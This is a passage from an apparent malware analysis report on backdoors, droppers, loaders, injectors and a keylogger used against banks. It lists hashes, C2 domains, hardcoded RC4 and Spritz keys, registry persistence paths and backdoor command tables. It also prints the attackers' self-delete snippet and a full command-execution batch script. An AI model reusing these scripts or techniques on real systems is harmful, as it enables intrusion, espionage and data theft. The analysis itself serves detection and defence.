02f75c2b47b1733f1889d6bbc026157c - uploaded to a multiscanner from Bangladesh. 459593079763f4ae74986070f47452cf - discovered in Costa Rica. ce6e55abfe1e7767531eaf1036a5db3d - discovered in Ethiopia. All these tools use the same hardcoded RC4 key value of E2 A4 85 92. Malware 6: Active Backdoors MD5: 2ef2703cfc9f6858ad9527588198b1b6 Type: PE32 executable (GUI) Intel 80386, for MS Windows Size: 487'424 bytes Name: mso.exe Link time: 2016.06.14 11:56:42 (GMT) Linker version: 6.0 Used in: Incident #1, Incident #2 This module is linked with opensource SSL/TLS suite mbedTLS (aka PolarSSL) as well as zLib 1.2.7 and libCURL libraries. Command line options: IMEKLMG.exe [filepath] [-i] [ ...] [-s] -i self-install in the registry and restart self with previous path as argument. [filepath] sleep for 3 seconds, delete the specified path, restart self with option ""-s"". ... one or more pairs of C2 IP and port can be passed here. -s start the main backdoor mode Starting the executable with no option is equivalent to starting with ""-i"", which initiates a sequence of restarts eventually leading to self-installation into the autorun key and user's %App_Data% directory. The final command line string to start the backdoor (as per registry autorun key) is: C:\\Users\\%user%\\AppData\\Roaming\\IMEKLMG.exe -s Depending on the available command line arguments the module may use a C2 address from the following locations: 1. C2 configuration stored in the registry (expected 1840 bytes). The configuration is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Network\\EthernetDriver. The data inside the key is encrypted with a DES algorithm with a hardcoded encryption key: 58 29 AB 7C 86 C2 A5 F9. 2. Hardcoded C2 address and port. 3. [Unfinished backdoor code] Use a C2 address and port passed via command line. Note, this code is currently unfinished: it contains a command line argument parsing and setting in the memory of the backdoor: up to six pairs of C2 hosts and ports can be passed to it, but this information seems not to be reaching the main backdoor code yet. If the registry value with config is not set upon the backdoor start, it creates this value, populating the config with hardcoded values. When the module is passed to a domain and port pair via the command line, config from the registry or hardcoded value, it resolves the IP address of the domain (if the domain is passed) and produces a different IP by decrypting the DNS request with a 4-byte XOR operation. The XOR constant is hardcoded: 0xF4F29E1B. Hardcoded C2s: \xe2\x97\x8f update.toythieves[.]com:8080 \xe2\x97\x8f update.toythieves[.]com:443 IP xor Key (Real C2) Country First Seen Last Seen Resolved IP (C2 disguise) 67.65.229[.]53 US 2015-08-05 2015-08-19 88.223.23.193 62.201.235[.]227 Iraq 2015-08-26 2015-10-23 37.87.25.23 127.0.0.1 N/A 2015-10-30 2015-11-20 100.158.242.245 46.100.250[.]10 Iran 2015-11-27 2016-01-07 53.250.8.254 76.9.60[.]204 Canada 2016-01-14 2016-08-17 87.151.206.56 The application establishes a HTTPS connection, introducing itself as ""TestCom 18467"" (hostname) during a TLS handshake. The backdoor protocol supports the following commands sent as DWORD constants: Command ID Description 0x91B93485 Get system information: hostname, OS version, locale, list of network interface cards with properties. 0x91B9348E Sleep command. Disconnect from C2. Save current time and show no network activity for a specified time. 0x91B93491 Hibernate command. Disconnect from C2 and show no network activity. Seems like this sleep is persistent over program restarts. 0x91B9349A Show all available drives and used/available space on them. 0x91B9349B List files in specified directory. 0x91B9349D Change current directory. 0x91B93486 Run specified command. 0x91B934A6 Run specified command as another Terminal Session user. 0x91B93492 Delete file(s) based on file path pattern. 0x91B934A1 Wipe specified file two times with random DWORD value. 0x91B9348B Compress and upload specified file path recursively. 0x91B9348A Read data from the specified file. 0x91B93489 Write data to the specified file. 0x91B93495 Get detailed process information: PID, Session ID, CPU performance status, memory used, full path. 0x91B93491 Kill process by name or PID. 0x91B9348C Execute a command and read the output. This is done via the redirection of command output to a text file in temp directory, reading and sending the contents of the file after the process is complete. 0x91B934A5 Connect 1024 times to localhost:135 for disguise, cleanup and shutdown. 0x91B934A4 Get current backdoor configuration. 0x91B934A3 Set new backdoor configuration. 0x91B934A2 Test remote host and port by opening TCP connection. 0x91B934A7 Inject an executable module into address space of explorer.exe. 0x91B93499 Get current working directory. 0x91B9349C Delete specified file. The same file, but compressed with an unknown packer, was discovered uploaded on VT from Poland and Korea in November 2016. This suggests backdoor reuse in those countries. It has the following properties: Name: IMEKLMG.exe.dmp MD5: 06cd99f0f9f152655469156059a8ea25 SHA1: 77c7a17ccd4775b2173a24cd358ad3f2676c3452 File size: 376832 bytes File type: PE32 executable (GUI) Intel 80386, for MS Windows Link time: 2016.06.14 11:56:42 (GMT) Linker version: 6.0 Another similar file was discovered in February 2017, distributed from a Nigerian webserver. It is a similar backdoor but is packed with Obsidium packer. Here is the file's general information: MD5: 09a77c0cb8137df82efc0de5c7fee46e SHA1: 964ba2c98b42e76f087789ab5f64e75dd370841a File size: 176640 bytes File type: PE32 executable (GUI) Intel 80386, for MS Windows Link time: 2017.02.02 04:20:19 (GMT) Linker version: 10.0 This file is similar to the other backdoors from the arsenal. However, it contains some differences and improvements. It uses an external file to store configuration, located at %SYSTEMROOT%\\systray.dat. The config has a fixed size of 182 bytes and has the following structure: XORed with 0xDE Random 4 bytes Magic Value: 0x12458FAE Other data Similar to other backdoors, it uses XOR operation on the DNS response. The XOR DWORD constant is different here: 0xCBF9A345. The sample contains the following default hardcoded C2 address: \xe2\x97\x8f tradeboard.mefound[.]com:443 To complicate analysis, the developer has implemented a protocol with dynamically changing constants depending on the variant of the malware. So far, the backdoor ""speaks the same language"" but with a different ""dialect"". This is implemented through a different base for all messages. This sample supports similar commands but its Command IDs are shuffled and start with a different number. Command ID Description 0x23FAE29C Get system information: hostname, OS version, locale, list of network interface cards with properties. 0x23FAE2A4 Sleep command. Disconnect from C2. Save current time and show no network activity for specified time. 0x23FAE2A6 Hibernate command. Disconnect from C2 and show no network activity. This is persistent over program restarts, because it the module saves time when to come back online in the config file. 0x23FAE29E List all available drives. 0x23FAE2A9 Recursively list contents of the specified directory. 0x23FAE2A7 List contents of the specified directory. 0x23FAE29F Change current directory. 0x23FAE2AA Run specified command. 0x23FAE2A8 Delete file(s) based on file path. 0x23FAE2AD Wipe specified file two times with random DWORD value. 0x23FAE2B1 Compress and upload specifed file path recursively. 0x23FAE2A0 Read data from the specified file. 0x23FAE2A1 Write data to the specified file. 0x23FAE2A2 Get detailed process information: PID, Session ID, CPU performance status, memory used, full path. 0x23FAE2AC Kill process by name or PID. 0x23FAE2AB Execute a command and read the output. This is done via redirection of command output to a text file in temp directory, reading and sending the contents of the file after the process is complete. 0x23FAE29D Clone file timestamps from the given path. 0x23FAE2AF Set new C2 port, save configuration file. 0x23FAE2B0 Set new C2 address, save configuration file. 0x23FAE2A3 Command to self-destruct. It drops ieinst.bat into %TEMP% directory and runs it to self-delete. :L1 del ""%S"" nping 0 if exist ""%S"" goto L1 del ""%0"" In addition it wipes the config file with zeroes and deletes the file as well. 0x23FAE2A5 Terminate session and quit immediately. This matches the description of backdoors from the Romeo set as per Novetta. Malware 7: Passive Backdoors MD5: b9be8d53542f5b4abad4687a891b1c03 Type: PE32 executable (GUI) Intel 80386, for MS Windows Size: 102'400 bytes Names: hkcmd.exe Internal name: compact.exe https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf Link time: 2016.01.08 16:41:18 (GMT) Linker version: 6.0 Product name (file version info): Windows Firewall Remote Management Used in: Incident #1 This executable was written using the Microsoft MFC framework. The application is designed to run as a service, however it can also start and work as a standalone non-service process. It registers with the name of ""helpsvcs"". The code is organized in classes, one of which, the main application class, has a static text variable set to ""PVS"", which seems to be unused in the code. This service relies on command line arguments passed as an integer defining the port number that it will listen to in the future. This is a reduced minimalistic way of configuring and using the backdoor in listening mode, however there is a class that is responsible for loading or saving full configuration block from/to the registry. The registry value used to store the configuration depends on the parameter value (%parameter%) passed to the function. The registry configuration is located at HKCR\\NR%parameter%\\Content Setting. The main service procedure generates a unique instance ID which is set to pseudo-randomly selected 8 bytes. Some previous versions of the code relied on some pseudo-random values derived from the current time and MAC addresses of available network cards, but then was changed to a hardware independent value. This backdoor takes care of enabling ports in the Windows Firewall by creating a new firewall rule named ""Windows Firewall Remote Management"" using netsh.exe tool on Windows, which enables an incoming connection to any executable on the TCP port that is currently used by the backdoor. In case this rule has different name in other samples, it's quite easy to find it, because it doesn't specify which group of rules it belongs to, unlike all other default Windows Firewall rules. Sorting Firewall rules by group name may quickly reveal such an odd rule: The backdoor provides process and file management, as well as the creation of TCP connection relays. Another backdoor based on the same code was found in the same bank, however it was made as a standalone executable instead of a DLL. Short description and file properties are provided below: MD5: bbd703f0d6b1cad4ff8f3d2ee3cc073c Link time: 2014.09.22 13:12:17 (GMT) Linker version: 6.0 Size: 106'496 bytes Export section timestamp: Fri Jan 8 16:41:26 UTC 2016 Original name: fmapi.dll Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Used in: Incident #1 This file is a backdoor that listens to a port specified in the %WINDIR%\\temp\\scave.dat file as an integer number. It supports about 20 commands, which enable the operator to: \xe2\x97\x8f Collect general system information \xe2\x97\x8f Search files/directories by name \xe2\x97\x8f Start new process as current user \xe2\x97\x8f Start process as another logged in user \xe2\x97\x8f Start process and collect output from stdout \xe2\x97\x8f Get file from specified path \xe2\x97\x8f Drop new executables into system directory \xe2\x97\x8f Compress and download files \xe2\x97\x8f List processes and their respective loaded modules \xe2\x97\x8f Kill processes by name \xe2\x97\x8f Fake file timestamp by copying it from kernel32.dll \xe2\x97\x8f Start a new backdoor session on another port \xe2\x97\x8f List active terminals sessions with details \xe2\x97\x8f Relay TCP connections to a remote host The executable contains a custom PE loader code that is identical to a custom PE loader from Lazarus Loader modules dubbed by Novetta as LimaAlfa. This module contains a small embedded executable in the data section, encrypted with a trivial (xor 0xb1, add 0x4f) method. The MZ header is wiped from that embedded file and is restored during decryption routine. Some other properties of the small embedded file are listed below (MD5: 8387ceba0c020a650e1add75d24967f2). This executable module is used to force unloading a DLL from memory. Malware 8: Trojan Dropper Discovered path: C:\\WINDOWS\\igfxpers.exe MD5: 6eec1de7708020a25ee38a0822a59e88 Size: 253'952 bytes Time modified: 2016-01-18 06:08:36 (GMT) https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf Time accessed: 2016-08-22 12:38:37 (GMT) Time changed: 2016-08-22 13:04:42 (GMT) Time created: 2016-01-18 06:08:32 (GMT) Link time: 2014-09-22 13:12:17 (GMT) Linker version: 6.0 Other filenames: hkcmd.exe Used in: Incident #1 This is a dropper of an embedded malware. It uses RC4 to decrypt resources and drop and start a new process from disk. The RC4 is an MD5 of a command line argument (secret passphrase) following ""-x"" parameter. The second command line argument ""-e"" defines the name for the new service to be registered. The MD5 hash of the passphrase is stored in the registry and is used by the DLL Loader in the later stage. The binary picks one of the names to drop the payload to, and chooses a corresponding service description when registering. FileName Description wanmgr WiFi Connection Management Service vrddrv Windows Virtual Disk Service trufont Font Cache Service wmvdec Media Center Network Sharing biomgs Biometric Service gpcpolicy Group Policy Server Service diagmgs Diagnostic Policy Client waindex Windows Indexing Service trabcon Network Traffic Balancing Service authen Remote Logon Authentication The dropped file is saved into %SYSTEMROOT%\\System32\\%FileName%.dll on Windows 32- bit and %SYSTEMROOT%\\SysWow64\\%FileName%.dll on Windows 64-bit. Known command line usage: hkcmd.exe -x -e LogonHours We managed to find the right password (20+ characters long), which enabled us to decrypt the payload. Malware 9: DLL Loader MD5: 268dca9ad0dcb4d95f95a80ec621924f Link time: 2014.12.08 13:12:17 (GMT) Linker version: 6.0 Size: 192'512 bytes Export section timestamp: Fri Jan 8 16:54:25 UTC 2016 Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Original name: ext-ms-win-ntuser-dialogbox-l1-1-0.dll Used in: Incident #1 This file is dropped by the Trojan Dropper described above. It is a malware loader service, which gets the decryption key from the registry, uses RC4 to decrypt an embedded resource and start the payload. The RC4 decryption key is obtained from HKCR\\NR%parameter%\\ContextHandler value, which is set by the Trojan Dropper during malware installation. The embedded resource contains one of the Passive Backdoors described in this paper. Another variant of the DLL loader heavily uses system registry to fetch the decryption key, and the encrypted payload. Name: lcsvsvc.dll MD5: c635e0aa816ba5fe6500ca9ecf34bd06 SHA1: d7d724718065b2f386623dfaa8d1c4d22df7b72c SHA256: 93e7e7c93cf8060eeafdbe47f67966247be761e0dfd11a23a3a055cf6b634120 File size: 1'545'216 bytes File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link time: 2015.12.09 14:12:41 (GMT) Exp. time: 2016.03.19 18:32:34 (GMT) Linker version: 10.0 Export module Name: msshooks.dll Used in: Incident #2 This module is similar to other 64-bit variants. However, it is registered as a service and gets an RC4 key and the payload from the registry values of its own service. The name of the service is not fixed and is probably set during installation stage. Here is the registry value path for the RC4 key and encrypted payload respectively: HKLM\\SYSTEM\\CurrentControlSet\\Services\\%SERVICENAME%\\Security\\Data2 HKLM\\SYSTEM\\CurrentControlSet\\Services\\%SERVICENAME%\\Security\\Data0 The code gets the 16-bytes RC4 key from the registry (f9 65 8b c9 ec 12 f9 ae 50 e6 26 d7 70 77 ac 1e) and encrypted payload, decrypts the payload with that key and then decrypts it one more time with the following hardcoded key (previously seen in the backdoor management tool): 53 87 F2 11 30 3D B5 52 AD C8 28 09 E0 52 60 D0 6C C5 68 E2 70 77 3C 8F 12 C0 7B 13 D7 B3 9F 15 The final decrypted payload is loaded and started as a DLL in memory. At the time of analysis the attackers managed to wipe the payload in the registry with a benign system file data, so only the RC4 key remained untouched and was found in the registry. Malware 10: Keylogger MD5: 5ebfe9a9ab9c2c4b200508ae5d91f067 Known filenames: NCVlan.dat File size: 73'216 bytes Type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.04.06 07:38:57 (GMT) Linker version: 10.0 Original name: grep.dll Used in: Incident #1 This module is a user-mode keylogger. It contains an export function with an empty name, which has the main functionality of the module. Upon starting it creates a new thread, which suggests that it has to be loaded by a custom PE loader (probably by the DLL Injector described in this paper, MD5: 949e1e35e09b25fca3927d3878d72bf4). The main thread registers a new class named ""Shell TrayCls%RANDOM%"", where %RANDOM% value is an integer returned by the system rand function seeded with the current system time. Next, it creates a window called ""Shell Tray%RANDOM%"". The new window registers a system-wide keyboard hook and starts recording keypresses and Unicode text in context of the clipboard. The data is saved into a current user profile directory in a file that is named after the username via the following template string: NTUSER{%USERNAME%}.TxS.blf. For example, the full path that we discovered was ""C:\\Users\\[redacted]\\NTUSER.DAT{[redacted operator]}.TxS.blf"". The data written in the file is encrypted with RC4 with the following hardcoded 64-bytes key: 53 55 4D A2 30 55 53 44 30 2C 30 3E 27 44 42 54 20 4C 49 4D 49 54 43 55 53 44 30 2C 0D 0A 43 44 54 19 53 55 4D 7F 31 55 53 44 32 36 35 2C 30 E4 37 43 44 54 98 4C 49 4D 49 54 1B 55 53 44 30 2C The RC4 key is not entirely random and seems to contain chunks of readable ASCII text related to some database contents or queries: \xe2\x97\x8f ""SUM.0USD0,0>'DBT LIMITCUSD0,..CDT.SUM.1USD265,0.7CDT.LIMIT.USD0,"" We assume this is done to complicate the recognition of a password-like string by eye, or use a value that would cause some false-positives when scanning for such a pattern. The keylogger data file is a binary log that contains sequences of records organized in blocks which have the following events inside: 1. Session Start (Logon): Contains username, type of session (rdp, console, etc), session id. 2. Session Activity: Contains active windows name and sequence of typed keys. 3. Session End (Logoff): Contains username, session id. Every event record contains a DWORD timestamp. The module also starts a watchdog thread that keeps monitoring the creation of a trigger-file called ODBCREP.HLP in the directory of the current DLL. If such file is found, the keylogger removes the keyboard hook and unloads from the process immediately. Malware 11: Trojan Dropper 2 Filename: gpsvc.exe MD5: 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae SHA1: bedceafa2109139c793cb158cec9fa48f980ff2b File Size: 3449344 bytes File Type: PE32+ executable (console) x86-64, for MS Windows Link Time: 2016.12.08 00:53:20 (GMT) Linker version: 10.0 Used in: Polish bank This module is a command line malware dropper/installer, which contains two data containers in the resource section. The dropper command line takes the following: gpsvc.exe -e %name% - drop payload on disk gpsvc.exe -l - lists all registered services under netsvcs registry key3. gpsvc.exe -a %param2% %param3% - registers a news service using %param2% as the service name and %param3% as the path to DLL file of service binary. If the %param3% doesn't contain ""\\"" character, the code uses it as the filename in %SYSTEMROOT%\\System32\\. 3HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\\netsvcs When -e option is used, the files stored in the containers are extracted, decrypted where encryption is used, and dropped to a disk in two locations: one goes to the current directory as %name%, another is saved into %SYSTEMROOT%\\Help\\%name%.chm. The value of the %name% parameter is passed via command line argument. The container starts with a 40 bytes header describing the start of the payload, container and the payload data inside. The data may or may not be encrypted and there is no specific flag identifying that in container itself. The code processing the container will know whether the container's payload requires decryption. Upon successful extraction of the files, the dropper will show the following message on the command line: Fig. Report of successful payload deployment. The first extracted file is decrypted using the following key and Spritz algorithm, a variant of the RC4 family: 95 B4 08 68 E4 8B 72 94 5E 61 60 BF 3F D7 F9 41 10 9A 4A C4 66 41 99 48 CC 79 F5 6A FE 5F 12 E5 The second file is extracted as-is, however, brief analysis of its header suggested that it is encrypted with the same crypto and key. The dropped files after decryption have the following MD5 hashes: ad5485fac7fed74d112799600edb2fbf 16a278d0ec24458c8e47672529835117 Malware 12: DLL Injector MD5: 16a278d0ec24458c8e47672529835117 SHA1: aa115e6587a535146b7493d6c02896a7d322879e File size: 1515008 bytes File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.12.08 00:53:43 (GMT) Linker version: 10.0 Export module name: wide_loader.dll Used in: Incident #2 This module is packed with a commercial product known as the Enigma Protector, which was developed by a Russian software developer Vladimir Sukhov in 2004. This module is implemented as a service binary with ServiceMain procedure. On starting it imports all http://enigmaprotector.com/ necessary system API functions, and searches for the .CHM file inside %SYSTEMROOT%\\Help\\%name%.chm, where %name% matches the name of current DLL module. Then it decrypts the payload using the Spritz algorithm with the hardcoded key: 95 B4 08 68 E4 8B 72 94 5E 61 60 BF 3F D7 F9 41 10 9A 4A C4 66 41 99 48 CC 79 F5 6A FE 5F 12 E5 Next, it searches the target process and attempts to inject the decrypted payload module from the CHM file into the address space of the target process. The target process can be one of two: 1. lsass.exe 2. itself (current service process) The process to inject the code is hardcoded and defined during the compilation of the module. According to the code the current module injects payload into itself. Some more similar DLL Injector samples were found in Europe and in the Middle East. The following files were discovered: Filename: srservice.dll MD5: e29fe3c181ac9ddbb242688b151f3310 SHA1: 7260340b7d7b08b7a9c7e27d9226e17b7170a436 File size: 79360 bytes File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.10.22 07:08:16 (GMT) Exp. time: 2016.10.22 07:08:16 (GMT) Linker version: 10.0 Export module name: wide_loader.dll Used in: Incident #2 Filename: msv2_0.dll MD5: 474f08fb4a0b8c9e1b88349098de10b1 SHA1: 487f64dc8e98e443886b994b121f4a0c3b1aa43f File size: 78848 bytes File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.12.08 00:53:39 (GMT) Exp. time: 2016.12.08 00:53:39 (GMT) Linker version: 10.0 Export module name: wide_loader.dll Used in: Incident #2 Filename: SRService.dll MD5: 07e13b985c79ef10802e75aadfac6408 SHA1: a0c02ce526d5c348519905710935e22583d81be7 File size: 79360 bytes File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.10.22 07:08:16 (GMT) Exp. time: 2016.10.22 07:08:16(GMT) Linker version: 10.0 Used in: the Middle East These files are different from those previously seen in DLL Injector, because they are not packed with Enigma Protector. They also contain different 32-byte Spritz keys: \xe2\x97\x8f 65 06 18 33 60 10 48 F7 57 9B 98 76 CA B5 29 60 71 CB 0B 97 7E D4 A2 F9 22 CC 4E 79 52 64 4A 75 \xe2\x97\x8f 6B EA F5 11 DF 18 6D 74 AF F2 D9 30 8D 17 72 E4 BD A1 45 2D 3F 91 EB DE DC F6 FA 4C 9E 3A 8F 98 \xe2\x97\x8f 78 CB C3 77 35 5C F2 82 8A 3A 08 71 6A D5 C3 D9 A1 1B 6A BA C5 9C 5D BC 6A EC F0 B8 96 49 79 7A The purpose of these variants is the same - decrypt the corresponding CHM file with the payload and inject it in the memory of lsass.exe or current process. The payloads found in these cases were: \xe2\x97\x8f fde55de117cc611826db0983bc054624 (Active Advanced Backdoor Type B) \xe2\x97\x8f 17bc6f5b672b7e128cd5df51cdf10d37 (Active Advanced Backdoor Type B) Malware 13: Active Backdoors 2 Filename: %name%.chm MD5: ad5485fac7fed74d112799600edb2fbf SHA1: a107f1046f5224fdb3a5826fa6f940a981fe65a1 File size: 1861632 bytes File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.12.08 00:55:06 (GMT) Export time: 2016.12.08 00:55:04 (GMT) Linker version: 10.0 Export module name: aclui.dll This module is dropped to the disk in .CHM file and stored in encrypted form. It can be decrypted and started with the DLL Injector module (i.e. 16a278d0ec24458c8e47672529835117). Like the other file in the same package, it is wrapped with Enigma Protector. The module has no business logic starting from the entry point. Core logics are called from one of two exported functions: \xe2\x97\x8f ?DllRegister@@YAX_KK0K0PEAXK@Z (start backdoor with default parameters) \xe2\x97\x8f InitDll (start backdoor with configuration passed via parameter) The InitDll function sets up basic requirements and prepares paths to other essential components, which are expected in the following filepaths: %SYSTEMROOT%\\Help\\*.chm %SYSTEMROOT%\\Help\\*.hlp The .hlp file from the Help Directory is loaded and decrypted using Spritz algorithm4 and the following key: 6B EA F5 11 DF 18 6D 74 AF F2 D9 30 8D 17 72 E4 BD A1 45 2D 3F 91 EB DE DC F6 FA 4C 9E 3A 8F 98 The module contains an embedded default config which is saved to .hlp file in encrypted form if the file is missing. It contains the following C2 information: \xe2\x97\x8f exbonus.mrbasic[.]com:443 Similar to Active Advanced Backdoor Type A (see md5: 2ef2703cfc9f6858ad9527588198b1b6) it doesn't use resolved IP of the C2 directly, but XORs the DNS query result with hardcoded key 0x4F833D5B. The backdoor protocol supports the following commands sent as a DWORD, however this DWORD is convertible to a meaningful ASCII representation of the command as shown below: Command ID Description NONE No actions. GINF Get system information: hostname, OS version, CPU type, system locale, RAM, disk free space, BIOS version and manufacturer, list of network interface cards with properties. SLEP Disconnect from C2. Save current time and show no network activity for specified time. It seems like this sleep is persistent over program restarts. HIBN Disconnect from C2 and show no network activity. DRIV Show all available drives and used/available space on them. DIR List files in specified directory. DIRP List files and directories recursively starting from specified path. CHDR Change current directory. 4 A very similar implementation of the Sprtiz algorithm in C is available at https://github.com/jedisct1/spritz/blob/master/spritz.c RUN Run specified command. RUNX Run specified command as another Terminal Session user. DEL Delete file(s) based on file path pattern. WIPE Wipe file(s) based on file path pattern. A hardcoded pattern (not defined in current sample) or randomly generated bytestream is used. Wiping with random data is done three times. A DWORD constant is present from some older wiper's code pattern: 0xE77E00FF. MOVE Move file. FTIM Set time for file(s) specified by file path pattern. Use %systemroot%\\kernel32.dll as source of timestamps. If kernel32.dll is not found, a hardcoded value is used: 12:12:46.493 03 September 2008 NEWF Create a directory. ZDWN Compress and download specified file path recursively. DOWN Compress and download a single file. UPLD Upload and uncompress file to the specified directory. The directory is created if it doesn't exist. PVEW Get detailed process information: PID, Session ID, CPU performance status, memory used, full path. PKIL Kill process by name or PID. CMDL Execute a command and read the output. This is done via redirection of command output to a text file in temp directory, reading and sending the contents of the file after the process is complete. DIE Set a flag to terminate immediately. Cleanup and shutdown. GCFG Get current backdoor configuration. SCFG Set new backdoor configuration. TCON Test connection with remote hosts. Open TCP connection to the specified host and port. Send 2 random bytes to test connection. PEEX Inject an executable module into address space of explorer.exe. PEIN Inject an executable module into address space of process defined by PID. An identical file was found in Incident #2: Filename: msv2_0.chm.dec MD5: 17bc6f5b672b7e128cd5df51cdf10d37 SHA1: 072245dc2339f8cd8d9d56b479ba5b8a0d581ced File size: 729088 bytes File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.12.08 00:55:06 (GMT) Exp. time: 2016.12.08 00:55:04 (GMT) Linker version: 10.0 Export module name: aclui.dll Another similar file was used during the attack in Incident #2: MD5: fde55de117cc611826db0983bc054624 SHA1: 1eff40761643f310a5cd7449230d5cfe9bc2e15f File size: 729088 bytes File type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows Link time: 2016.10.22 07:09:50 (GMT) Exp. time: 2016.10.22 07:09:48 (GMT) Linker version: 10.0 Export module name: aclui.dll The .hlp file from the Help Directory is loaded and decrypted using the Spritz algorithm and the familiar key: 6B EA F5 11 DF 18 6D 74 AF F2 D9 30 8D 17 72 E4 BD A1 45 2D 3F 91 EB DE DC F6 FA 4C 9E 3A 8F 98 The .hlp file contains references to two C2 servers, which refer to: tradeboard.mefound[.]com:443 movis-es.ignorelist[.]com:443 The following table shows connections between known C2s Domain IP xor Key (Real C2) CC First Seen Last Seen Resolved IP (C2 disguise) exbonus.mrbasic[.]com 218.224.125[.]66 JP 2017-01-29 2017-02-06 129.221.254.13 exbonus.mrbasic[.]com 82.144.131[.]5 CZ 2017-02-06 2017-02-06 9.173.0.74 tradeboard.mefound[.]com 218.224.125[.]66 JP 2017-01-29 2017-01-31 129.221.254.13 tradeboard.mefound[.]com 82.144.131[.]5 CZ 2017-02-01 2017-02-06 9.173.0.74 movis-es.ignorelist[.]com 82.144.131[.]5 CZ 2017-02-01 2017-02-06 9.173.0.74 Similar two 32-bit based samples were used in an attack on a target in Costa Rica in 2016: \xe2\x97\x8f 2de01aac95f8703163da7633993fb447 \xe2\x97\x8f 5fbfeec97e967325af49fa4f65bb2265 These samples contain the same backdoor commands and rely on the same cryptoalgorithm and identical hardcoded crypto key. However, these files do not contain embedded config with default C2 domain. Malware 14: Privileged Execution Batch Name: msdtc.bat MD5: 3b1dfeb298d0fb27c31944907d900c1d SHA1: b9353e2e22cb69a9cd967181107113a12197c645 Size: 454 bytes Type: Windows batch file Used in: Polish bank The following Windows batch file was found during a security sweep in one of the attacked banks: @echo off SET cmd_path=C:\\Windows\\Temp\\TMP298.tmp copy NUL %cmd_path% :loop ping -n 1 1.1.1.1 > nul for /f ""tokens=*"" %%a in (%cmd_path%) do ( if ""%%a"" equ ""die"" ( rem del /a %cmd_path% rem del /a %cmd_path%.ret echo die >> %cmd_path%.ret goto end ) else ( echo %%a >> %cmd_path%.ret %%a >> %cmd_path%.ret 2>&1 echo -------------------------------------------------------- >> %cmd_path%.ret ) ) copy NUL %cmd_path% goto loop The purpose of this file is to execute one or more commands on the command line and redirect the output to a file on disk. The list of commands to run is located in the following file path (let's call it source file): C:\\Windows\\Temp\\TMP298.tmp. Once the commands are executed, it sleeps for one second and starts the process again until the source file contains a line with just one word in it: ""die"". This batch file opens and runs every command mentioned in the .tmp file and saves the output to C:\\Windows\\Temp\\TMP298.tmp.ret. Once it finds the word ""die"" in the source, it deletes the source and the output file and quits. However, this batch file is either broken or implemented with a bug. Note the line ""goto end"" and no label called "":end"" in the batch file. We can only speculate how this file was used in the real attack, but one theory looks to be the most probable: it was used as an awkward way to execute commands with SYSTEM user privileges. While it is possible to run commands as a SYSTEM user when you have administrative privileges on a target machine, getting an interactive shell requires more work. A batch file like this could run in the background, quietly spawning cmd.exe in a loop and non- resource exhausting mode. Passing commands to the source file would allow attackers to conveniently execute them the next second and get the output via another text file. This infinite loop could be easily broken with the ""die"" keyword. So far, we believe that this file could serve as a privilege escalation trampoline for other unprivileged processes (such as usermode backdoor). Malware 14. Backdoor Management Tool Filename: gpsvc.exe MD5: 85d316590edfb4212049c4490db08c4b SHA1: 4f0d7a33d23d53c0eb8b34d102cdd660fc5323a2 File Size: 753664 bytes File Type: PE32 executable (console) Intel 80386, for MS Windows Link Time: 2015.08.24 10:21:52 (GMT) Linker version: 8.0 This module is a commandline tool that helps to install a new service. In addition it is capable of doing code injection and works as a service itself. The binary is protected with Enigma Protector. If the module is started without commandline arguments, it quits immediately. Depending on commandline options passed the tool may work in different modes. 1. Service Enumeration Mode Commandline: gpsvc.exe -l This mode is selected with commandline option -v. In this case the module get a list of services from hardcoded registry value HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\svchost\\netsvcs. This value is a present on clean Windows installation and usually contains a list of standard service names that may generate some network activity. The code iterates through available services and prints to standard output every service it managed to open with read privileges (used just to confirm that the service is running). After this the tool exits. 2. Service Activation Mode Commandline: gpsvc.exe -s %param1% %param2% In this mode the module registers and starts a new service if it doesn't exist. The service name is based on the current executable filename. The following commandline is stored in the registry to start the service: ""%self_path%"" -k %param1% %param2% Where %self_path% is full path to current executable and %param1%, %param2% are passed as-is from current commandline. 3. File Payload Deployment Commandline: gpsvc.exe -e %param1% %param2% In this mode the module extracts and stores additional executable on the filesystem (filepath is inside installation cryptocontainer). It uses %param2% to open the file as a cryptocontainer. Cryptocontainer is encrypted with two RC4 keys: A. KeyA which is 16 bytes of MD5 value from a string which is passed via %param1% B. KeyB is a hardcoded 32-byte binary value: 53 87 F2 11 30 3D B5 52 AD C8 28 09 E0 52 60 D0 6C C5 68 E2 70 77 3C 8F 12 C0 7B 13 D7 B3 9F 15 It contains payload data to be installed into registry and some paths. 4. Registry Payload Deployment Commandline: gpsvc.exe -f %param1% %param2% This mode is very similar to ""File Payload Deployment"" described above, but in this case the module is instructed to install the payload into the registry value. 5. Service Test Commandline: gpsvc.exe -o %param1% This mode is used to ensure that the service is running correctly by checking that a special event object named %param1% exists. 6. Service Termination Commandline: gpsvc.exe -t %param1% This mode is used signal the running service via special event object named %param1% to terminate execution. 7. Payload Injection Mode Commandline: gpsvc.exe -k %param1% %param2% In this mode the module assumes that it can be a service binary, so it tries to behave as service. If it fails it falls back to regular standalone executable mode. Main purpose of this code is to find payload in the registry, decrypt it and inject into target process memory. The payload is stored in the following registry value: HKLM\\SYSTEM\\CurrentControlSet\\services\\%servicename%\\Security\\Data2 It is encrypted with RC4, and key is taken from the registry using the following binary value (16 bytes): HKLM\\SYSTEM\\CurrentControlSet\\services\\%servicename%\\Security\\Data3. The cryptocontainer used by this module contains a magic value after it's decrypted with MD5 of the 